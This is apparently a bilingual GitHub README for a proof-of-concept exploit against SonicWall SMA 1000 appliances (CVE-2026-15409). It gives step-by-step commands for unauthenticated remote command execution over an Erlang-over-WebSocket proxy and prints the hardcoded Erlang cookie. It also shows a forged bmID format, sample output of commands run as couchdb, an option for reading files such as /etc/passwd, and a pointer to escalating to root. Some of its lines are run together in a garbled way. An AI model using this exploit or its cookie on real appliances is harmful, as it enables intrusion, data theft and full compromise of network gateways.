
Proof-of-Concept exploit for CVE-2026-15409 (SonicWall SMA 1000 RCE) via Erlang distribution over WebSocket. Achieves unauthenticated remote code execution as couchdb user.
Exploit Proof‑of‑Concept per CVE-2026-15409 – esecuzione remota di codice non autenticata su appliance della serie SonicWall SMA 1000 tramite il protocollo di distribuzione Erlang tunnellizzato su WebSocket.
CVE-2026-15409 è una vulnerabilità critica che colpisce le appliance SonicWall SMA 1000 (versioni precedenti all'hotfix di giugno 2026). Il difetto risiede nel servizio WorkPlace (solitamente esposto sulla porta 443) che inoltra le connessioni WebSocket ai nodi Erlang interni. Forgiando un parametro bmID valido e utilizzando un cookie Erlang hardcoded, un attaccante può stabilire un canale di distribuzione autenticato ed eseguire comandi di sistema arbitrari come utente couchdb (o altri account con privilegi limitati) tramite chiamate RPC a os:cmd/1.
Questo repository fornisce un PoC completamente funzionante che automatizza l'intera catena di sfruttamento – dall'handshake WebSocket all'esecuzione di comandi arbitrari – con un'interfaccia pulita, una gestione avanzata degli errori e un logging ben strutturato.
wss:// utilizzando l'endpoint wsproxy.os:cmd/1; può leggere file con file:read_file/1 o testare la connettività con erlang:node/0.bmID arbitrari (purché inizino con -3389) e molteplici valori serviceType.[+], [*], [-], [!] per un facile monitoraggio.La vulnerabilità deriva dai seguenti punti deboli di progettazione nella SMA 1000:
/wsproxy inoltra messaggi WebSocket binari a una porta locale di distribuzione Erlang (localhost:1050 di default) senza una corretta autenticazione o autorizzazione.[email protected] è in ascolto sulla porta 1050 e accetta connessioni dal proxy WebSocket, rendendolo raggiungibile dalla rete.rex, che può eseguire funzioni arbitrarie sul nodo, inclusa os:cmd/1.ex_sra_vm_12.5.0-02002.ova).couchdb (UID 1010, gruppo daemon).file:read_file/1.websockets (installazione tramite pip install websockets).git clone https://github.com/Ch4120N/CVE-2026-15409.git
cd CVE-2026-15409
pip install -r requirements.txt # websockets
python3 cve-2026-15409.py \
--ws-url 'wss://TARGET_IP/wsproxy?bmID=-3389c1b25ccd&serviceType=SSH&host=0.0.0.0&port=1050' \
--ws-user-agent 'SMA Connect Agent' \
--ws-insecure-tls \
--exec 'whoami && id && pwd && hostname'
░█▀▀░█░█░█▀▀░░░░░▀▀▄░▄▀▄░▀▀▄░▄▀▀░░░░░▀█░░█▀▀░█░█░▄▀▄░▄▀▄
░█░░░▀▄▀░█▀▀░▄▄▄░▄▀░░█/█░▄▀░░█▀▄░▄▄▄░░█░░▀▀▄░░▀█░█/█░░▀█
░▀▀▀░░▀░░▀▀▀░░░░░▀▀▀░░▀░░▀▀▀░░▀░░░░░░▀▀▀░▀▀░░░░▀░░▀░░▀▀░
[CVE-2026-15409]
Erlang Distribution RCE via WebSocket Proxy
Owner: Ch4120N
[ * ] Connecting via WebSocket to wss://192.168.56.102/wsproxy?bmID=-3389c1b25ccd&serviceType=SSH&host=0.0.0.0&port=1050
[ * ] Preparing RPC: os:cmd('whoami && id && pwd && hostname')
[ + ] Authenticated to [email protected]
[ * ] Calling os:cmd/1 ...
[ + ] RPC call completed
[ * ] Peer name: [email protected]
[ * ] Peer flags: 0xd07df7fbd
[ * ] Peer creation: 1784069352
[ + ] Command output:
couchdb
uid=1010(couchdb) gid=1(daemon) groups=1(daemon)
/opt/couchdb
SMAAppliance.sma
Il cookie Erlang utilizzato nell'exploit è:
10ecad5b446e86864832904cd439b6b70262
Questo valore è costante su tutte le appliance SMA testate ed è hardcoded nel processo Erlang su localhost:1050. Non è lo stesso cookie configurato dall'utente per il clustering.
bmIDIl bmID deve iniziare con -3389 (ad es., -3389c1b25ccd). I valori arbitrari dopo il prefisso vengono accettati, quindi il rilevamento basato su firma non dovrebbe fare affidamento su un hash fisso.
Sebbene l'esempio utilizzi serviceType=SSH, anche altri valori come TELNET funzionano. L'exploit è agnostico rispetto al tipo di servizio.
La porta 1050 è la porta interna predefinita, ma sono stati osservati attacchi reali che prendono di mira anche la porta 8188. L'exploit può essere adattato a qualsiasi porta che esponga il protocollo di distribuzione Erlang.
Dopo aver ottenuto una shell come couchdb, un attaccante può sfruttare CVE-2026-15410 – un path traversal XML‑RPC che consente la rimozione dell'hotfix e la successiva escalation dei privilegi a root.
/wsproxy con bmID che inizia con -3389.couchdb (ad es., bash, python, nc)./var/tmp/ da parte dell'utente couchdb.Questo progetto è concesso in licenza MIT – consulta il file LICENSE per i dettagli.
Disclaimer: Questo strumento è destinato esclusivamente a scopi educativi e di test autorizzati. L'autore e i collaboratori non sono responsabili di qualsiasi uso improprio o danno causato da questo software.
Se trovi utile questo PoC, valuta di lasciare una ⭐ su GitHub e di condividerlo in modo responsabile. Contributi, segnalazioni di problemi e pull request sono i benvenuti!
Buon hacking! 🛡️
| Argomento | Descrizione |
|---|
--host, --port | Fallback TCP (se non si utilizza WebSocket) |
--cookie | Sostituisce il cookie hardcoded predefinito |
--name | Nome personalizzato del nodo Erlang locale |
--ws-origin | Imposta l'header Origin per il WebSocket |
--ws-user-agent | Stringa User‑Agent (default: SMA Connect Agent) |
--ws-insecure-tls | Disabilita la verifica TLS (certificati self‑signed) |
--read-file | Legge un file dal target (ad es., /etc/passwd) |
--rpc | Testa solo la connessione chiamando erlang:node/0 |